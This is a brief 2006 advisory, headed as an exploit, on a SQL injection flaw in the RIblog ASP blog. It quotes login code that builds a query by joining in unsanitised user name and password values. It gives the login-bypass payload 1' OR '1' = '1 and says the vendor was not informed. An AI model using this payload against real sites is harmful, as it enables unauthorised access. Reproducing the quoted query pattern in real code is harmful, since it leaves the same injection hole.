RIblog Remote SQL Injection Exploit

---

      - RIblog Remote SQL Injection Exploit -

-= http://colander.altervista.org/advisory/riblog.txt =-

                    -= RIblog =-

Omnipresent
April 21, 2006

Vunerability(s):

SQL Injection

Product:

bloggage

Vendor:

http://romedahl.com

Description of product:

It is a Blog.

Not Available Yet.

Vulnerability / Exploit:

This software is vulnerable to a Remote SQL Injection.

Take a look of this script in

[…]

doLogin = Request.Form("login") 'login

If doLogin = "" Then

Trim(Request.Form("login"))

End If

' Submit to self
If doLogin = "true" Then

                    If sUserName = "" Then
                     sUserName = Trim(Request.Form("UserName"))
                    End If

                    If sPassword = "" Then
                     sPassword = Trim(Request.Form("Password"))
                    End If


                    Set myRecSet = server.createobject("adodb.recordset")
                    strConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strDBPath & ";"
                    Set myConn = server.createobject("adodb.connection")
                    myConn.open strConn

                    strSQL = "SELECT * FROM tUser WHERE  fuser = '"& sUserName  &"' and fpassword = '" & sPassword &"';"

[…]

As you can see, the string strSQL is the query passed to the DB. And the variables sUserName and sPassword are not properly
sanitised. So, an attacker can exploit this vulnerability by injection SQL Code. Like the example below:

1' OR '1' = '1

The attacker have to put the string above in the username and password fields.

the query will be:

strSQL = "SELECT * FROM tUser WHERE fuser = '1' OR '1' ='1' and fpassword = '1' OR '1' ='1';

The attacker can gain access to the blog and edit, view comments, etc, etc.

Vendor Status

Not informed!

Credits:

omnipresent
[email protected]